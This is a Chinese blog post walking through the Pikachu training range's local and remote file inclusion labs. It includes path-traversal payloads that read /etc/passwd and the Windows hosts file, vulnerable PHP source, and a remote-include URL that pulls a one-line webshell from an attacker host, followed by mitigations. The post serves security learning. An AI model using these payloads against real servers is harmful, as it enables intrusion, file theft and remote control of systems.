pikachu之文件包含漏洞

最新推荐文章于 2024-09-11 18:11:29 发布
最新推荐文章于 2024-09-11 18:11:29 发布
阅读量2.1k 收藏 20
点赞数 4
分类专栏： pikachu漏洞实验 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51446936/article/details/117719018
版权

一、文件包含漏洞概述

在web后台开发中，程序员往往为了提高效率以及让代码看起来更简洁，会使用“包含”函数功能。比如把一系列功能函数都写进function.php中，之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include function.php?>就可以调用函数代码

但有些时候，因为网站功能需求，会让前端用户选择需要包含的文件（或者在前端的功能中使用了“包含”功能），又由于开发人员没有对要包含的这个文件进行安全考虑，就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件（代码）

这种情况我们称为“文件包含漏洞”

注：文件包含漏洞有“本地文件包含漏洞”和“远程文件包含漏洞”

在这里插入图片描述

知识补充
文件包含漏洞：包含函数

通过include()或require()语句，可以将php文件的内容插入另一个php文件（在服务器执行它之前）

include和require语句是相同的，除了错误处理方面：

require会生成致命错误（E_COMPILE_ERROR）并停止脚本

include只生成警告（E_WARNING）,并且脚本会继续

test.php：
<?php $color='银色的';$car='奔驰轿车';?>
	Index.html:
	<hrml><body><h1>欢迎访问我的首页！</h1>
	<?php include 'test.php';echo "我有一辆".$color.$car"。";
	?>
	</body></html>

二、本地文件包含漏洞测试

第一步：在pikachu的本地文件包含中进行测试，在下拉框中选择一个名字进行提交

可以看到传了一个文件名为file1.php到后台，后台会对指定的目标文件进行对应的操作（这些文件都是后台自己存在的文件）

在这里插入图片描述

第二步：修改filename的参数，用 “…/” 的方式进行目录跳转

若目标服务器在 Linux 上，我们可以 “…/” 的方式进行目录跳转，读取其目录下的文件，比如 /etc/passwd，etc/fstab

../../../../../../../../etc/passwd

若目标服务器在 Windows上,同linux类似，假如读取hosts文件

../../../../Windows/System32/drivers/etc/hosts

进行跳转读取，成功读取hosts文件的内容

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../Windows/System32/drivers/etc/hosts&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

在这里插入图片描述

第三步：查看源码：
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";//变量传进来直接包含,没做任何的安全限制
//     //安全的写法,使用白名单，严格指定包含的文件名
//     if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
//         include "include/$filename";

//     }
}

三、远程文件包含漏洞测试

远程文件包含漏洞形式跟本地文件包含漏洞差不多，在远程包含漏洞中，攻击者可以通过访问外部地址来加载远程的代码

远程包含漏洞前提：如果使用的include和require，则需要php.ini配置如下：

allow_url_fopen = on     //默认打开

allow_url_include = on   //默认关闭，需要修改为on
第一步：打开远程文件包含漏洞，会出现如下警告，根据要求进行修改

在这里插入图片描述

打开phpstudy—>打开配置文件---->php.ini

在这里插入图片描述

将allow_url_fopen = On（默认on，不用修改），allow_url_include = Off ，修改为On，然后保存

在这里插入图片描述

第二步：远程文件包含漏洞—写入一句话木马

在这里插入图片描述

攻击者搭建一个站点，在其中写入木马文件。然后把路径通过前端传到后台，后台的包含函数会对这个远程的路径进行加载，然后这个一句话木马就被传到了目标站点，实现了对目标站点的远程控制

我们这里攻击者站点：192.168.159.159

目标站点：127.0.0.1（即本地）

把 filename 后面的参数改成远程文件的地址，提交之后发现前端什么也没输出，但是在本地上传了一个yijuhua.php的文件

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.159.159:8080/pikachu/test/yijuhua.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

在这里插入图片描述

然后攻击者可以通过x接口控制服务器

在这里插入图片描述

四、文件包含漏洞之文件上传漏洞的利用

思路：
1.制作一个图片木马，通过文件上传漏洞上传
2.通过文件包含漏洞对该图片木马进行“包含”
3.获取执行结果

见我下一篇博客:https://blog.csdn.net/weixin_51446936/article/details/117718841

五、防范措施

在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作

1.过滤各种…/…/, http:// , https://
2.配置php.ini配置文件：
allow_url_fopen = off

allow_url_include = off   

magic_quotes_gpc=on
3.通过白名单策略，仅允许包含运行指定的文件，其他的都禁止
要努力。。
关注
专栏目录
【小白笔记】pikachu之文件包含漏洞
weixin_47073308的博客
06-28 1624
文件包含漏洞笔记，使用pikachu靶场。
Pikachu靶场File Inclusion文件包含漏洞~保姆级教程！！！
2301_77360738的博客
05-17 495
Pikachu文件包含漏洞，详细讲解本地文件包含和远程文件包含，保证一看就会，一学就懂，小白可入！！！
Pikachu-File Inclusion
baynk的博客
11-19 813
0x00 File Inclusion(文件包含漏洞)概述 文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once() require(),require_once() 这些文件包含函数，这些函数在代码设计中被经常使用到。 大多数情况下，文件包含函...
文件包含漏洞全面详解
2401_84618514的博客
08-12 1013
1.文件包含漏洞概述和SQL注入等攻击方式一样，文件包含漏洞也是一种注入型漏洞，其本质就是输入一段用户能够控制的脚本或者代码，并让服务端执行。什么叫包含呢？以PHP为例，我们常常把可重复使用的函数写入到单个文件中，在使用该函数时，直接调用此文件，而无需再次编写函数，这一过程叫做包含。有时候由于网站功能需求，会让前端用户选择要包含的文件，而开发人员又没有对要包含的文件进行安全考虑，就导致攻击者可以通过修改文件的位置来让后台执行任意文件，从而导致文件包含漏洞。以PHP为例,常用的文件包含函数有以下四种。
Pikachu----文件包含/下载/上传
m0_65712192的博客
12-31 1558
Pikachu----文件包含/下载/上传
pikachu 文件包含漏洞
weixin_48776804的博客
07-25 235
pikachu 文件包含漏洞
pikachu文件包含漏洞
a666666688的博客
08-04 436
其他用于包含的函数: highlight_file()、 show_source()、 readfile()、 file_get_contents()、fopen()、file()程序在引用文件的时，引用的文件名存在可控的情况，传入的文件名没有经过合理的校验或校验不严，从而操作了预想之外的文件，就有可能导致文件泄漏和恶意的代码注入；允许 url 里的封装协议访问文件；文件包含是执行被包含文件中的PHP代码，而文件打开则是读取文件中的内容不会执行！本地文件的漏洞，大部分情况遇到的文件包含漏洞都是 LFI!
pikachu漏洞练习平台之文件包含
m0_55854679的博客
06-23 416
File Inclusion(文件包含)概述 文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once(), require(),require_once() 这些文件包含函数，这些函数在代码设计中被经常使用到。 大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。 但是，有些时候，文件包含的代码文件被写成了一个变量，且这个变量
pikachu-文件包含漏洞
qq_43660551的博客
05-19 483
本地文件包含漏洞：仅能够对服务器本地的文件进行包含，由于服务器上的文件并不是攻击者所能够控制的，因此该情况下，攻击着更多的会包含一些固定的系统配置文件，从而读取系统敏感信息。1、php的配置文件php.ini中的allow_url_include()=on，allow_url_fopen=on。C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件。C:/Program Files/mysql/my.ini//Mysql 配置。抓包修改，读取1.php试试。
Pikachu靶场——文件包含漏洞(File Inclusion)
来日可期的博客
10-05 9060
大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。 但是有些时候文件包含的代码文件被写成了一个变量，且这个变量可以由前端用户传进来，这种情况下，如果没有做足够的安全考虑，则可能会引发文件包含漏洞。
Pikachu靶场-文件包含漏洞
qq_53083285的博客
11-20 756
pikachu靶场文件包含漏洞文件包含漏洞概述本地文件包含漏洞测试远程文件包含漏洞测试文件包含漏洞之文件上传漏洞的利用文件包含漏洞常见防范措施 文件包含漏洞概述 文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once() require(),require_once() 这些文件包含函数，这些函数在代码设计中被经常使用到。 大多数情况下，文件包含函数中包含的
pikachu之文件包含
qq_42728977的博客
12-24 3567
参考链接https://www.cnblogs.com/p201721210007/p/12034896.html 文件包含漏洞(File Inclusion)概述 文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once() require(),r...
pikachu通关记之本地文件包含 远程文件包含 不安全文件下载
qq_35258210的博客
01-11 1399
"""本人网安小白，此贴仅作为记录我个人测试的思路、总结以便后期复习；今后本着少就是多，慢就是快的方式一步一个脚印进行学习，把这个知识点学扎实了，再学另外一个知识点。费曼教授是不是曾经说过以教代学是最好的学习方式？有很多错点可圈可指，所以也请dalao指出不对的地方，所谓教他人的时候也是在稳固自身""" 未做严格排版，后面有时间了再来整理整理 目录 一、文件上传 1、client check 2、MIME type 3、getimagesize 二、文件包含 1、本地文件包含 2、远程文件
【网络安全】-文件包含漏洞-pikachu
最新发布
weixin_65311462的博客
09-11 1729
文件包含漏洞是指程序在执行过程中，将外部文件的内容作为程序代码或数据的一部分来执行使用，从而导致hacker可以利用这个漏洞包含恶意文件，执行任意代码进而访问敏感信息。1.本地文件包含漏洞与远程文件包含漏洞在防范措施上，两者都需要对用户输入进行严格的验证和过滤，但远程文件包含漏洞还需要特别注意禁用相关配置选项和限制外部资源的访问权限。
Pikachu靶场之文件包含漏洞详解
m0_46467017的博客
05-19 7037
Pikachu靶场之文件包含漏洞详解前言文件包含漏洞简述1.漏洞描述2.漏洞原因3.漏洞危害4.如何防御第一关 File Inclusion(local)1.尝试读取"隐藏"文件2.读取不同文件夹文件3.读取系统文件4.结合文件上传getshell第二关 File Inclusion(remote)包含写木马的文件 前言 本篇文章用于巩固对自己文件包含漏洞的学习总结，其中部分内容借鉴了以下博客。 链接: pikachu File Inclusion 文件包含漏洞 （皮卡丘漏洞平台通关系列） 链接: 【
pikachu 文件包含漏洞演示
weixin_42393944的博客
08-16 343
一、File Inclusion（local） 通过上图我们可知是从前端将要处理的文件传到后台，那么在这传入本地的一些文件地址，是否也能读出其信息。 将我放在根目录下的文件进行传入，可以读出我们其信息 二.File Inclusion（remote） 第一次使用File Inclusion（remote）需要将php.ini文件里的allow_url_include改成On 原因：远程文件包含漏洞的前提是：1.allow_url_fopen=On (默认打开) 2.allow_u...
pikachu 文件包含漏洞 题解
L1ni01
07-12 683
一. 本地文件包含漏洞 先了解两个函数 1.include(/path/to/filename) include()语句将在其被调用的位置处包含一个du文件。包含一个文件与在该语句所在zhi位置复制制定文件的dao数据具有相同内容的效果。 使用include()时可以忽略括号。 可以根据条件来执行include()语句。在条件语句中使用include()有个怪现象，它必须包围在语句块大括号中，或者用其他语句包围符括起来。 2.include_once() include_once(filename) in
pikachu靶场文件包含
10-20
pikachu靶场是一个适用于新手学习WEB安全时练习使用的开源靶场，其中包含了文件包含漏洞。文件包含漏洞是指在程序中使用了用户可控的文件名或路径，攻击者可以通过构造特定的文件名或路径来读取或执行任意文件，从而实现攻击。在pikachu靶场中，你可以通过模拟攻击来学习如何发现和利用文件包含漏洞，以及如何防范这种漏洞的攻击。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值